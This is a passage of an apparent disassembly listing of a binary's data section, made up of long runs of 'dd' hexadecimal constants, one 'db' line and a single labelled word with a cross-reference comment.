dd 9D8003CFh, 95348B3Dh, 508C7018h, 71EA18D8h, 4EAD00ECh
dd 0E5313A66h, 833EC397h, 2C87Eh, 58C52CABh, 4C8B2632h
dd 9B0E5244h, 6740DD97h, 0F1C8C3BCh, 0B2EE9A00h, 0E3335B6Dh
dd 9511027Dh, 1FB7A9BEh, 2ADD7040h, 0A37F8C01h, 0A5B95493h
dd 8F6A60h, 0FDD324B8h, 630960F8h, 4E036F73h, 7A8C5088h
dd 78B80423h, 908A0A8Fh, 0B59A4D18h, 0EC258201h, 5D971974h
dd 36A820h, 417D8B24h, 0D6C40559h, 76BA3D00h, 0D72A8652h
dd 0D43F1FE1h, 0FE1CC090h, 745183D0h, 0CC6A4301h, 0A6F4F10Bh
dd 0DEFC4BE9h, 262074D6h, 1BCDC2Ah, 904FA7A8h, 67ADD86Ch
dd 5E911004h, 890148Eh, 4750BAh, 0D18C5361h, 34F66D7h
dd 41C9C2Ch, 0DCC06E00h, 95827Ah, 0F96A1B73h, 0E2FEA7DEh
dd 180C3F24h, 8247CD07h, 0E74851A0h, 0F9F203F0h, 0B2DD0566h
dd 20CFB1FBh, 1E9AA93Eh, 216833Dh, 810C40F7h, 0DE1440DDh
dd 21C60E54h, 0E449278Eh, 0AD50F480h, 0DB0FA435h, 406C4A2Ah
dd 0DF942130h, 0BCA207F6h, 7066EF57h, 0CA2B5D73h, 86016D00h
dd 5BF11B6Ah, 0FE3001A7h, 0E60A9F5Eh, 0EE95206Fh, 0C000407Dh
dd 0A5EF969Bh, 3AD00C6Eh, 42BFA687h, 0D3E21580h, 0B4928A74h
dd 29025200h, 30ECA03Eh, 1F0C7C37h, 685F3DDEh, 6E7CD8h
dd 41BBEF54h, 0F50E62EEh
dd 8A4E831Ch, 0D9CCF280h, 0A0489C27h, 8C6D3h, 2B5E99DAh
dd 0AFD23462h, 6BAECC02h, 8E06545Dh, 0DED49EF5h, 0E19005D8h
dd 948092E7h, 1C552ECBh, 0C07F3D74h, 9D138C18h, 2D0A8A7Dh
dd 0A048C3C1h, 9C60F01h, 860D28Fh, 691700F3h, 52A5D56Fh
dd 0DB0B0ECCh, 417F97h, 0D9C8042Ch, 0E738C243h, 0AC800561h
dd 7DC726B6h, 0ACA73B01h, 0DA5A1758h, 3C6B9DECh, 96000D05h
dd 68497750h, 0FC00F33Ah, 9252187Fh, 77994D39h, 1DD900B5h
dd 5380099Bh, 0F2008941h, 0C3EBCDE2h, 0EDCCF8h, 5D236858h
dd 0DC5C5718h, 3E9DDF1Ch, 62D81D81h, 0A0804650h, 9115D122h
dd 3A988E1Bh, 9472E90Eh, 0C4057224h, 77C0A630h, 3F7844Dh
dd 9149C4F3h, 4FE84E5Fh, 0F90D427Ch, 31B4E422h, 7FD6C0h
dd 3023DCE9h, 3E25BB8Fh, 0B0D5A700h, 82429857h, 16F33865h
dd 0A04F4680h, 49E1F4D8h, 665B5D01h, 0EF2709CFh, 0E54B8F8h
dd 6A037381h, 9AC58E7Fh, 8056D665h, 0BDC62544h, 4EF5440Eh
dd 0BA02A015h, 982662B7h, 4C307ACCh, 228098DAh, 0B2D2121Dh
dd 5E198B0Bh, 0C490A020h, 3D6F61F4h, 4180B0C1h, 51D8570Fh
dd 0E200AEF5h, 0A616D41Dh, 0DDF2C8h, 262C242Fh, 8F76019Ah
dd 0BE045C00h, 53CE7DB8h, 929D00B4h, 27B75641h, 6D001F07h
dd 0E349FE0Ah, 5AA511h, 0E92D4F28h, 6184D2D9h, 0D06E2700h
dd 4DEFCCF7h, 74770188h, 0DCEC6D26h, 4541E0CAh, 0AC3DB900h
dd 20A42FFEh, 2BBF037Ch, 0BC5AA1AAh, 7AEA64B8h, 23E44802h
dd 0D74B91B6h, 8978A3C1h, 18974018h, 0E4F6F020h, 96B40051h
dd 56629F48h, 8F022EF1h, 5F3AA46h, 91934067h, 0A59800EAh
dd 0E8EF1A81h, 1D00632Dh, 5C68BA8Ah, 394803Eh, 5B3111E0h
dd 70971FAAh, 98F56BA2h, 40003892h, 0D9F39B89h, 48545B67h
dd 91007CCEh, 0BCE4C62Eh, 17E03582h, 88A3780Bh, 2CD30F0Ah
dd 26A556B4h, 80B4AAE6h, 0FC8164Fh, 0A407F298h, 0F1234881h
dd 5A88B5A0h, 7EFEC1h, 0F9AF12AEh, 6226AA2Dh, 6418300h
dd 8CD87BF3h, 39D60ADDh, 1C88659Ah, 715709A4h, 0DAC3A8A0h
dd 0CA1D2F56h, 0CC26698Bh, 26755380h, 0F2A03B5h, 0CF8EFDB3h
dd 87DDC280h, 0AF00AA4Fh, 0A3900549h, 0E67AF509h, 0C459016Ch
dd 0E6C88AEDh, 62667001h, 0B5FD3300h, 5832E472h, 0BAC40086h
dd 26E998DDh, 51429A0h, 8C34D1h, 4D3B4C7Dh, 785C18EFh
dd 0E375000Eh, 1EA02A88h, 2C9424F2h, 1C97B801h, 1874C1D0h
dd 0C79901EFh, 0D98E5189h, 0F1BA30D7h, 45A7A600h, 0C54CA0A3h
dd 94B100EBh, 0F3370E1Eh, 2F183FCFh, 5F78D6F7h, 4B310E42h
dd 0EC01C01h, 0A51784DCh, 90B20C25h, 8DF718h, 0FF7487E8h
dd 47996E60h, 7DAB040Ah, 9009823h, 0C1C7A154h, 5A2F09EDh
dd 0CE01D740h, 80C2711Ch, 0B05EAE68h, 0E33E710h, 37C5F723h
dd 415591A7h, 706B0CC8h, 4A0E7A4Fh, 4C73AF54h, 72C3847h
dd 0FF3657D6h, 82A470FBh, 9C79958Eh, 9835C300h, 6459D314h
dd 2A32004Dh, 5571B71Ah, 0B5002FB3h, 0ED9004FAh, 30F1379Ah
dd 0EFD8139Ch, 0F91ECC89h, 6C0F1086h, 0C131600Dh, 1AC2F8Fh
dd 2BB2A057h, 2867B4CFh, 0F6C600A8h, 0A1A747EBh, 0DC30075h
dd 9541D3CBh, 770EBB14h, 0FF7C165Fh, 1F90D754h, 0EB806D6Ch
dd 381CD1F0h, 3BBF39ABh, 5D913480h, 7C55A498h, 0DBAC2C00h
dd 0C180DCDAh, 35D4A04Eh, 7A6816EEh, 0CC4009Ah, 65F11E3Bh
dd 204DD730h, 3D3813h, 0B991E0E1h, 2C1D897Ch, 27853000h
dd 0C7349CB1h, 0EB4E0410h, 8065C1BFh, 78D33784h, 0F505DE09h
dd 0C0880E3Ch, 0D5487124h, 0BE8101D4h, 0E995C9E0h, 28B8D1D1h
dd 63F3100Ch, 1980DACBh, 0D310A370h, 55976400h, 190DC51h
dd 0E449013h, 958759AFh, 1EC750CEh, 0B69A00B9h, 0A0ED4CDh
dd 4B18AA75h, 0B007D0Fh, 961BE3E8h, 0D5040200h, 25603D9Dh
dd 0CA62026Ah, 0B5204CABh, 0EAE969C0h, 0DA2C700Bh, 98B000CFh
dd 7143923Fh, 0AA4505A2h, 80629A84h, 81D61AA4h, 0CA4E111Fh
dd 9DB5C6C0h, 2A4C0364h, 1F4148Ah, 2824DCBEh, 341F06BBh
dd 1D638C38h, 0E09C2EF0h, 10DBD79h, 833790C1h, 0C2CA0CAAh
dd 602D20E8h, 80A9223Ah, 0E77CF616h, 2D24593h, 69EB3A9Eh
dd 0D0708B1Eh, 0E0137576h, 38006390h, 727FAB1Ch, 0F86F004Eh
dd 39E79922h, 3700A3ADh, 14BDFCDFh, 907A52A7h, 591C18B8h
dd 0C7B388F2h, 89CF3600h, 0D466A338h, 0E3BB00B4h, 597BA2B5h
dd 6A729BA8h, 7394E407h, 0C0CFAAD0h, 0E3748A80h, 95B22C16h
dd 756600C4h, 0CEFBE94Dh, 79658600h, 5564A1E8h, 7E103BBBh
dd 2ECAF780h, 99F1FC82h, 2C211200h, 85B42890h, 4F9D00B9h
dd 0C307A198h, 0E9001A32h, 99884647h, 11B7CBBh, 0D53150B7h
dd 0C03F2876h, 0FB797795h, 0D2E2EC00h, 42F4EF57h, 73723C7Ch
dd 35860176h, 3783F367h, 0CCBE3176h, 0D50079E2h, 1195575Ch
dd 36AFF0h, 0BF7FE954h, 4A38BC15h, 0D98D0500h, 0CCC4510Dh
dd 619558F7h, 1E743E7Ah, 0DE8089BDh, 0E35DBBF5h, 2CB8F0D1h
dd 6C6A420Eh, 0EF2C0004h, 9987EBh, 0B237561h, 0B7E0E70Ch
dd 2E4F8F00h, 0E6D17DD7h, 62D2002Fh, 8211A763h, 91041AE9h
dd 20714172h, 86304CD1h, 0E8266901h, 0BD021AFBh, 53B2F667h
dd 8EAF427Fh, 1B6B205Ch, 0B43879h, 0EC686FB7h, 9DA282FFh
dd 8741EA00h, 6281FB21h, 0B08A00EFh, 0E5094F71h, 45005A0Eh
dd 225EFCB7h, 0C0B9FA2Eh, 0C68BC710h, 0DE00D32Dh, 0C3356F67h
dd 26BC7Dh, 0C4BECBFAh, 0D26D1BD1h, 83F55F07h, 9E30A927h
dd 8AF08Fh, 0E3194479h, 0E1D6942Eh, 912A1A00h, 502CEC80h
dd 9FA70AE4h, 80D4F2EDh, 8D1D1B23h, 70EDA3FEh, 3600F5ECh
dd 70B74435h, 1EB2E214h, 80C22A54h, 0ADAA2EA2h, 17EA9739h
dd 0CBE4B3FEh, 0BC271E24h, 0E7000C1Dh, 48F82194h, 4BB5000Dh
dd 0C12A99CAh, 80007407h, 18F3ED1Eh, 58F4Eh, 0BEF0E3F1h
dd 291F9F81h, 0E5DB3E00h, 4DB9BB93h, 0E962095Ch, 0B88003F1h
dd 91460F9Bh, 0C56088B1h, 38AE23B1h, 5C85DB0Ch, 0AB7510h
dd 5482CACCh, 62002FDCh, 447155ADh, 0D09DE0h, 5A57CD12h
dd 0FB36958Dh, 0EC25DA00h, 0CEC510BFh, 8761002Dh, 0E970F73h
dd 0BC079EAAh, 1C18F172h, 5823FB10h, 9FB801AFh, 3A2F21E8h
dd 3007D9ACh, 96011E65h, 0EBA3F4DEh, 14F0E6AEh, 2F053891h
dd 0A6972B80h, 0ACECBE5Bh, 3F1F8C01h, 0B0CD2A2Dh, 6250AC47h
dd 5BD74B9h, 695DB212h, 98E0A4FFh, 460EB8F4h, 40FCE4D3h
dd 856318Ch, 0BC1F70EEh, 468200A4h, 0BB12F527h, 0AA6C8A01h
dd 3FF83935h, 0F00206Dh, 0F4368E2Fh, 0CF0B12F2h, 911DB9h
dd 0C77E9F0h, 0C71400B8h, 0A2FBE265h, 4E4C3653h, 3803F6Ch
dd 79E58ECBh, 0A98FC89Eh, 5499095Dh, 0F4805EBEh, 0ED70BFE0h
dd 0D2EE980Eh, 677EE04Ch, 0DD453Ah, 0B3EAB2B0h, 0C7EBCA1Eh
dd 68540100h, 7B95694Bh, 6BDF09FDh, 0BE78073Bh, 12CE748h
dd 63D2998h, 0F97086D6h, 0A5A0008Ah, 7AF8DF46h, 4900451Ah
dd 2D52FFBAh, 6E868Fh, 0FDDCE8D3h, 0B1BC4E0Eh, 3D00BCB0h
dd 0FAE9CD89h, 65CC0h, 0C114E27Fh, 0D8BC60BEh, 32D76400h
dd 834E2002h, 356EC057h, 0A06D8178h, 4700B4EEh, 0C763B140h
dd 383DECE1h, 0BB002797h, 19EF8160h, 7D00132Eh, 849DD4A1h
dd 72B412h, 4E5EA1Bh, 0FEC1AE65h, 63A3E800h, 0FCF424AAh
dd 7AA5003Ch, 3ACE1B2Bh, 801C88Eh, 4B32DD66h, 6DC46353h
dd 2AE32ED1h, 0F2708038h
dd 0C89EC37Ch, 831D5800h, 1AD432ACh, 9BEB09AFh, 80A10C51h
dd 0E86D1071h, 0AD3C2AB4h, 96078068h, 0C7D64D79h, 1AD900F6h
dd 40F92027h, 7B00A1A3h, 0FAEC3AC9h, 69BB18h, 0F7399067h
dd 639552E4h, 11C8470Eh, 914E60FFh, 7D3427Fh, 2BC7FE2Ch
dd 9E405056h, 0B04B2472h, 9D0C7800h, 73A11Ah, 12DE3235h
dd 2B709E3Dh, 0DC3C16FEh, 79950022h, 81139FF1h, 8D7E0364h
dd 0C365F49Eh, 0F0228FC1h, 0E34CE926h, 96101A0Bh, 0A5F04828h
dd 0A6F90F54h, 0BF030E9Eh, 6EB010A9h, 190076DCh, 3D215AC9h
dd 39B126CEh, 108368E3h, 0F16194FBh, 2BE54103h, 0E10C694Eh
dd 0AAF89EAFh, 0B1A63F11h, 0C47D7782h, 0CE83CF2Dh, 4ED80E75h
dd 6226C679h, 1C030CAFh, 0E09EC074h, 32E7CCh, 0FBD7585Ch
dd 0D8BF71B4h, 0CBAED905h, 0DEC03625h, 7EE87h, 413BEC82h
dd 0BFBF229h, 7D2521F0h, 33F0001Ch, 0B72786CCh, 0B12EFB70h
dd 0A300E829h, 229A51E6h, 26F50C84h, 0F8C10E24h, 9055940Ch
dd 0F34052h, 6651758Fh, 1BF15E28h, 0BA403500h, 94C306A1h
dd 9A953A6Ah, 3F187D00h, 9654ED21h, 0E8B1761Fh, 0BE4D57C0h
dd 3CF39A8Ah, 75804F89h, 9F2CF6DBh, 244A9D1Dh, 591FAC81h
dd 4F3024h, 0ABC20921h, 1ABFE5C0h, 137D3F01h, 0A6478995h
dd 944E7880h, 4130990Ah, 7F8F5107h, 0E46FC513h, 36C3FBF6h
dd 1E591139h, 0DE9005Dh, 0F5D9408Bh, 8FE40104h, 0E16C966Fh
dd 4A20879Ah, 5A506671h, 0AAF90Ch, 0B40F7C12h, 0AE764301h
dd 1CDF1F00h, 0FA5E3C99h, 5819C075h, 15C1CE06h, 740E0BE8h
dd 4723BDFDh, 0E4C33FBBh, 5FE8C0FBh, 98CAF0A6h, 41E70001h
dd 57014E8Eh, 29E85816h, 8F977039h, 80617640h, 0CBD5A1CEh
dd 0D9740F0Ch, 4E8044E2h, 7E05DAFFh, 64550900h, 31859446h
dd 8B70C98h, 0B31819CFh, 3E60E524h, 93B46403h, 5F05C0F5h
dd 38BAF06Eh, 28E079D8h, 29215866h, 0B4947B0Eh, 187AACE8h
dd 0C1231D57h, 80DBDFB5h, 247C2F53h, 0AB00388Fh, 82D09908h
dd 7E6A8D4h, 74B715ECh, 185503Ch, 7800C7AAh, 899619C1h
dd 1FFC6D9Fh, 157D46Bh, 1C751D5Ch, 544EC59Ah, 42F9Ch, 7D415E9h
dd 0C80328Dh, 299BA923h, 170DCF20h, 0E07635D5h, 41D8F0F8h
dd 0B27FE41Eh, 35492160h, 3B2F11F9h, 0DA28A1CAh, 0CEF670ACh
dd 66831B61h, 113C33C6h, 0E9319F21h, 621A1743h, 0CB092A86h
dd 13410EC4h, 5B806F31h, 6A107F33h, 712DA90Ch, 1868868h
dd 0DFCAA4B1h, 4065306Fh, 0A9BE76F0h, 63914260h, 618239Eh
dd 3D02B8DCh, 686109D4h, 23660321h, 3C54B330h, 0B07A82E1h
dd 0A1DE0C2Dh, 0E3C0D8A5h, 26EC7512h, 8B432C02h, 48808279h
dd 0D0B2207Dh, 0FB056114h, 64E40DC0h, 2DB3A801h, 0A882E2F8h
dd 969F92B4h, 0D61CB1h, 0C05990F6h, 0F1D0BA90h, 55007A81h
dd 1B0B123Dh, 688F72Dh, 0D9F5AF25h, 181C505Eh, 854F34CAh
dd 7B8600D8h, 154E8855h, 0E877AB0Ch, 0C0EF1600h, 0DD8AAF10h
dd 0A2F75819h, 21835E08h, 0F9C097B5h, 0DCCC6788h, 352DAF1Dh
dd 0E84860B0h, 605349A1h, 3E6BAE00h, 27E24211h, 18790E24h
dd 0CCCFB480h, 5C551F60h, 180EED7Eh, 0DDA1AF34h, 5893762Ah
dd 230899C4h, 0C460DC0Bh, 61805E59h, 99F75223h, 7C571480h
dd 0AB01C84Dh, 0BC0CA38Ah, 10B98030h, 0B7580FF0h, 0E35D3CDCh
dd 1507C889h, 0EB3FC800h, 1016646Fh, 0BA10A9CAh, 51787AE0h
dd 76911E3Fh, 0C04A44Ch, 0C9620E25h, 82173B6Eh, 772CF981h
dd 987CE17Ah, 0A4215208h, 6882020Fh, 28886DF9h, 1C420442h
dd 60646363h, 19601350h, 0F9239C82h, 0AD117Ch, 1B82118Eh
dd 602D0Ch, 0FA0F2684h, 0F1F07B2Fh, 0BC1FFC28h, 31CE7FF4h
dd 1CB320A6h, 6AC3C6h, 562E30B1h, 0CCE08BF4h, 33ABA4A8h
dd 0A04380h, 0D2CE58Ah, 0DECDA34Ah, 93BAF51Ch, 2A7D409h
dd 0D6C5CCh, 46D84EEFh, 0A9482092h, 544C0010h, 0F1DE83FBh
dd 0A691EA4h, 0CC983F74h, 0F9C2F816h, 0C060D2EFh, 0D831044Eh
dd 530F79D2h, 26B8B180h, 5C4BD6D3h, 0E956C600h, 0B2E6B3DFh
dd 0BD70901h, 0EC8449A8h, 10AC5064h, 95064690h, 600709F1h
dd 0AD81A702h, 683CD910h, 0B8F88318h, 92BB0142h, 5E03BE64h
dd 23088047h, 0DF67F57h, 9FE3049Ch, 8696987Dh, 5841D9A0h
dd 0A74CCE4h, 90F76B44h, 4674FD0h, 11C94CDDh, 732DCD12h
dd 0F830DC52h, 16BB39C1h, 2818C5E8h, 0DF510400h, 0FD502120h
dd 9341836Ah, 1C3EFC33h, 58F048C1h, 0E5AF40ACh, 2856CD30h
dd 0A4FB5E61h, 62190888h, 0CA043334h, 1CC14036h, 0B8337920h
dd 48770B10h, 1912378h, 0DC19239Fh, 80B42370h, 0BE236714h
dd 2EAD019Dh, 0F85E8243h, 23BC5DB9h, 30CFA2D4h, 0B00EC6Dh
dd 738238F7h, 60A96360h, 0C1A17957h, 355BBB7Fh, 1302E4BCh
dd 57629066h, 99E0E763h, 4860969Eh, 0AFC76C59h, 58AE304Eh
dd 7AB39C41h, 0F555A8E6h, 44081E8h, 0BA7F6D84h, 1A01A98Ah
dd 198020FCh, 0D02789A1h, 1591600Fh, 26ABA8A0h, 913D4A8h
dd 890F05E2h, 87C42AE9h, 52C0F0A0h, 0CD79ADCh, 5EA96214h
dd 3700AA59h, 0CEEEFCB3h, 3E91337Eh, 0B58051AFh, 0C1E9293Ch
dd 0D0A1566Dh, 300FDD98h, 3B206540h, 1308B00Bh, 48088F54h
dd 0EDC002D4h, 46AF12C0h, 12B225Ah, 0FEC095BBh, 50D1C6BCh
dd 0ED22B6B8h, 2C24A900h, 89E2B98Fh, 0DE3900B5h, 0A1AAECA3h
dd 9A00C013h, 113D2E0Ah, 0AC6B431Ah, 31101DE8h, 883F51ECh
dd 287280CAh, 0E5D57331h, 4AD99A00h, 0DA093C95h, 4CB1EEDDh
dd 0F90520CEh, 2F50BDh, 0FB5ABBACh, 35F6C491h, 0C4103A4Ch
dd 0F8196118h, 8E81803h, 92AF1BC0h, 0B04059C4h, 0D9AEC090h
dd 16AD4D07h, 7CF705B3h, 0BCD08544h, 92CCBD24h, 67250094h
dd 1E1497E1h, 2F12F15Bh, 0A840650Eh, 0EA6E1A49h, 0AD480246h
dd 0CAB8FB64h, 2EBC8C48h, 306A38A1h, 7F0310E5h, 0F7478577h
dd 0CF54E0BBh, 0AF3234C1h, 0D080CCA1h, 0F93C7B00h, 865D7515h
dd 55AE2494h, 0D2CC9E18h, 45071EF1h, 81B18EBh, 0E9C01680h
dd 46AF2EC0h, 0B78875BAh, 0FBC00091h, 39904BC2h, 0F0FA40EBh
dd 347F1424h, 0C023F700h, 9BEAB95Ah, 1F2C2454h, 1F0420B1h
dd 850EC8FAh, 7A2D408Ch, 61F4A9E5h, 9E15AFCh, 414C64A2h
dd 1DD56440h, 78484340h, 0ADE51ACCh, 0C471049h, 4A60D544h
dd 0AE071538h, 0B9032FDAh, 0F9D80160h, 4474B251h, 3D07AF52h
dd 0BA642D39h, 3E6C05Fh, 0A90722h, 0FCBB2B9Dh, 0E43414F6h
dd 0A84B95Dh, 0CAF0C965h, 9947CC00h, 0A92460h, 0F7341613h
dd 0F58ADD72h, 94237426h, 9D8F9711h, 80DC1762h, 16106731h
dd 1E722365h, 32E02D18h, 98A46FF1h, 6610E1E8h, 687DA935h
dd 70970818h, 4BF43DD0h, 0AE04068Dh, 0B000514Bh, 0AC2F831h
dd 1E080C46h, 6EC8F1C0h, 60284420h, 2399820Ah, 561164F9h
dd 8202A500h, 0F42ED257h, 10D0EA58h, 0CE022498h, 12015AE4h
dd 82182890h, 14F99F11h, 0A3805788h, 0F71C8210h, 0AF86142Ch
dd 0C060C2FDh, 0FBE60E04h, 0CC85BD06h, 12F03FBBh, 8571A0Bh
dd 96C11168h, 94212DC0h, 0B6C03872h, 666BC0BEh, 466265FEh
dd 57DC168h, 9DBC20AEh, 0CF1CFA0Ch, 7ADD26B0h, 0C1BFC083h
dd 4D6E898Ah, 1FA464F0h, 827F3DFCh, 0FD2D3F19h, 0C7BBD091h
dd 8DFC00BDh, 0AB65E9A3h, 0E500CCB1h, 0C75C6D78h, 19B41F0Dh
dd 0D145FE0Eh, 6C8D054h, 0EC1712FEh, 0C0372311h, 83CB3440h
dd 38B4007Bh
dd 49CDB05Ch, 0E17C0F39h, 5C40042Ch, 0A97E7040h, 0CA1F0A4Eh
dd 0A6B4FBEEh, 571150h, 14415626h, 0FFB601Bh, 5B3F2E8Ah
dd 97BAC94h, 1AE9E8B7h, 0E1542400h, 0DB4CE789h, 0CE0114B4h
dd 70F212C0h, 0DC31800h, 0C0D607F4h, 0D2C14359h, 3003028h
dd 0F935192Ah, 3CD4843Ah, 0B0890248h, 0E004E9DEh, 31196060h
dd 8C27EAEBh, 773CC44h, 0ADE23111h, 96FA06B4h, 0F4C1A5Dh
dd 0C4DF81Ch, 2A13104Eh, 7987D0Fh, 8A1E718Fh, 0B0EB802Ch
dd 72E255B6h, 773CF901h, 52AE7B88h, 0A38BB980h, 62DB690Fh
dd 22EB0400h, 2FCFF2BCh, 883A04DDh, 0C232FC12h, 54503360h
dd 69670E30h, 1D58C49h, 7C289EF6h, 20C80DFBh, 1158E8A8h
dd 5A64C0F4h, 0C75B98h, 0F181FB06h, 7AE5A7A9h, 53D95405h
dd 18C12BDBh, 90420278h, 311A3061h, 2F46EA75h, 4000D922h
dd 51293112h, 7DCBB49h, 0E3E5CA1Eh, 187D8093h, 0A14ACE0Ch
dd 0EFAE984Ah, 9C01CE38h, 6651D5A9h, 0C0CC8021h, 0B828F3C1h
dd 0E04DF904h, 0E13035Fh, 1CF10051h, 5777DF26h, 0CD006C1Dh
dd 0D87BCC6Eh, 4ED8E0Eh, 19ABFB71h, 0CB8080AFh, 80BA69D9h
dd 9948BE09h, 90CC69F5h, 23089818h, 0C468DC0Ah, 60475C5Bh
dd 0C850C223h, 25CBF17Ah, 0AC8299A9h, 0E44D0Fh, 3CC55E0Bh
dd 392022B7h, 0B0082271h, 7C1DDC8Bh, 3E872391h, 931A3019h
dd 0D4020CA0h, 85FB72F1h, 1FC87078h, 30F9D9CAh, 79BD2790h
dd 0ECA49492h, 0F3FD3501h, 6E82C331h, 0F9FA5EE0h, 0CB5804C2h
dd 0C052C894h, 0C0A24134h, 96EBA3Ah, 684CF1DCh, 65BE8394h
dd 2EB6C118h, 542330h, 3799181Ah, 0B1EE30F7h, 0B8C0F47Dh
dd 0CEB713FBh, 185B5803h, 8CADBCh, 51F3BE12h, 0C1B507B7h
dd 0C84A681Dh, 0A1733D0Bh, 6701FD1Ch, 557FAE01h, 46813A0h
dd 0B4FC830h, 11649D0Bh, 0DB658059h, 5FD5C8h, 0C3A2A3D1h
dd 0D704EA7Ch, 9D29B169h, 80241128h, 80352207h, 7F4D0C7Bh
dd 84B96DBDh, 3CDDA912h, 75FB8001h, 0C09D77C4h, 0D8E97Ah
dd 3E7807Fh, 7C26B70Eh, 242803B3h, 23048E4Ch, 312C0467h
dd 98EDC4E8h, 4688D804h, 317B24h, 0A1CD630Fh, 0ACF7BB1h
dd 0AE5E110Ah, 9480C460h, 0CDF1191Eh, 2A549E7Eh, 43E54548h
dd 7CC4C6Ch, 3A862D13h, 60849480h, 28EFB160h, 0B424734Fh
dd 5AB200B2h, 3380830h, 0CCBE61C7h, 0E8E9A8BDh, 71C874F5h
dd 450E550h, 9FA0C958h, 0B2512D0Fh, 55FF1000h, 943AF076h
dd 800F116Ch, 0AF2FC0ECh, 5F448CB2h, 0C09400B4h, 0EE93045Eh
dd 901D8518h, 1910D1F0h, 715EC4Eh, 5B9BF0Ch, 48C866A0h
dd 0B8F312AFh, 0D0E80051h, 70C1CE84h, 4442E4AAh, 295A50C4h
dd 6F233C2Eh, 0CE74A200h, 58C8A1Ah, 5E1CC767h, 7F90C8F5h
dd 3164B331h, 0C9802FABh, 2080A347h, 230414C3h, 1783401Fh
dd 61FDC0C1h, 0C802C028h, 51E53384h, 0C63D80D9h, 0EF312D0Fh
dd 301C47ABh, 31257F07h, 8EC09849h, 24F0BB2Eh, 84D85548h
dd 1C6601D5h, 0EC2F29D3h, 0B1006723h, 684BB3FAh, 0E4350A53h
dd 18FCECEAh, 0A581A106h, 1FD9A115h, 7652360h, 0D4EE312Eh
dd 0C024E24Fh, 6531267Ch, 0B0E47157h, 7110215h, 0AD5E4908h
dd 0AC8800D1h, 3A341320h, 8C7504h, 6CC206CFh, 86569D39h
dd 0B209527h, 8AA4003Ch, 24D83B2Bh, 0F8CFB9h, 5904AD80h
dd 3404BEEBh, 0FD89BB9Dh, 0E996A883h, 2478104Fh, 8C59BCh
dd 0C80FDB84h, 44B117CAh, 94898600h, 59E8BBF8h, 84095950h
dd 81D0480Eh, 7218D2D2h, 0C1EEB848h, 197C7532h, 90BC5AD4h
dd 647A4594h, 48805D1Ch, 0B07E59D8h, 5EA2C453h, 213530h
dd 0C383A97Dh, 8A2496F4h, 709FE100h, 0D4D14B95h, 0D46654D5h
dd 0A3BB0045h, 59EBAB26h, 1171BE84h, 7D5CB1Dh, 0A13AFC1h
dd 1860A61Bh, 0C04E40A4h, 90B8F12Ch, 75604D41h, 5AD3188Fh
dd 54258F03h, 0AFC0B8E3h, 0EC96552Dh, 0E7CA1F00h, 4856BDFFh
dd 50F8ECCEh, 7CE2008Ch, 0C8CC9239h, 0F003A0Dh, 509ECBF7h
dd 4A3CA935h, 14142010h, 4800D3FFh, 789FBC70h, 1A552A9h
dd 75EF12BBh, 94B70C43h, 80880EF0h, 0D88AB1B8h, 6977A4Fh
dd 5FF67F9Fh, 760551FBh, 0A62E19E8h, 301104C2h, 9E12820Bh
dd 0F0CB0CF9h, 8203A000h, 6020971Eh, 6DF83A04h, 0A14244BCh
dd 1C72CC71h, 14022646h, 34F96382h, 0A710A931h, 20E3820Ch
dd 0E4055A88h, 8DE84865h, 16A9F4E0h, 0CCCB070Eh, 625F7164h
dd 50DCF844h, 0C3CEB540h, 0F49E75F9h, 66522D80h, 2D834893h
dd 0D8803EFCh, 96EE55FDh, 0E7B8B860h, 0A6C21995h, 7964401Ch
dd 78C078E4h, 0A12CD9C0h, 14EC9809h, 0A09E1C83h, 28CA9E8h
dd 0F849CCDCh, 0EC516E3Dh, 2118D579h, 3F157A1Dh, 335AF700h
dd 0E4CA1EF9h, 819096D8h, 0D4D63D61h, 7A08C850h, 105B8300h
dd 74382F37h, 0A480ACBh, 0E8C8CADh, 0A442C3FDh, 0D0C0B192h
dd 0F150A5A9h, 0C82E20E4h, 4674AC44h, 5007622h, 0FEE3FFB5h
dd 793AA52h, 0CAB6F733h, 40612734h, 0D8BA92EEh, 0C43E624Ah
dd 66005E23h, 9DE3DEB0h, 8E8894D5h, 0C6C0D72Ah, 59495C16h
dd 0E8AEF000h, 9E754B9Dh, 27BF602h, 0BDF92A94h, 604021F8h
dd 0BE9545AAh, 2EB20044h, 12A75B20h, 591F6A47h, 0B71F381Ah
dd 5D933D00h, 923727h, 6A1D015Ah, 761F45A2h, 1E2DBC0Eh
dd 2767E086h, 2812B08Eh, 9ED45A34h, 5B465E00h, 0AED23907h
dd 2EA88A9Ch, 57465EBCh, 0F345FF00h, 61F5AF8Bh, 0BCA87C48h
dd 0C945866Ch, 4C0CA401h, 42940405h, 75E3605Dh, 20296088h
dd 11578A43h, 20FE1229h, 145993C7h, 5664BEB4h, 9400A846h
dd 22FC9540h, 853DF5A6h, 1000DEA9h, 0D7B33ACFh, 8EC8C9AFh
dd 2B715059h, 4005E18h, 26EF76CBh, 5BB181BAh, 1FFC64BDh
dd 5E6510ACh, 0FE113820h, 13540E86h, 0AE045EFCh, 11C8F244h
dd 231D5CBCh, 0B2A904FDh, 0D7360E61h, 6642401Ch, 68190390h
dd 5980183h, 0D5840496h, 61D4F47Bh, 0BBA16B05h, 1FC07569h
dd 5B9EA8C1h, 74884096h, 35C77752h, 24F41B58h, 1F960069h
dd 99D9AC00h, 58AEF1C2h, 5C789034h, 86849CC3h, 1B9E8070h
dd 73004579h, 27A313CFh, 0D55319h, 0FB2324Eh, 6DC1CC90h
dd 60C1CD4Bh, 0BD00433Bh, 53003010h, 0DE5F84E2h, 0E7B522h
dd 0F7353D5Ah, 8C8B2439h
db 3Bh, 0E3h
word_505446 dw 92DBh ; DATA XREF: ___:off_436CE0o
dd 50A4D973h, 4C691F5Dh, 80D016F0h, 877FC3A4h, 0E8C04758h
dd 0C0158C68h, 4C54E2h, 0F865569Ch, 1AB282Ah, 195EC6FCh
dd 38A84262h, 11342D30h, 0EC68DACCh, 517E4400h, 0B348913Dh
dd 0FC800494h, 43D8E2E7h, 24E0FBh, 0BBB1CC56h, 397E9394h
dd 1DCBF304h, 0F4A89834h, 82A48181h, 9C3A2A58h, 17006523h
dd 0B2196355h, 34215BCCh, 0A1C8B6B8h, 0E9FDF09Eh, 9463A0F3h
dd 7CD1699h, 41C020DEh, 4C41C9F5h, 4CB9D8E4h, 2F5EE0F4h
dd 12223A4h, 0E741259Fh, 0D4FEC8DAh, 0FF2D6116h, 8A818823h
dd 11F58D58h, 24F97820h, 2C2CD0C9h, 0F2B03FD0h, 81E5AFE1h
dd 64690526h, 825C8309h, 0E0CAD82Ch, 303672D4h, 0B049E4C8h
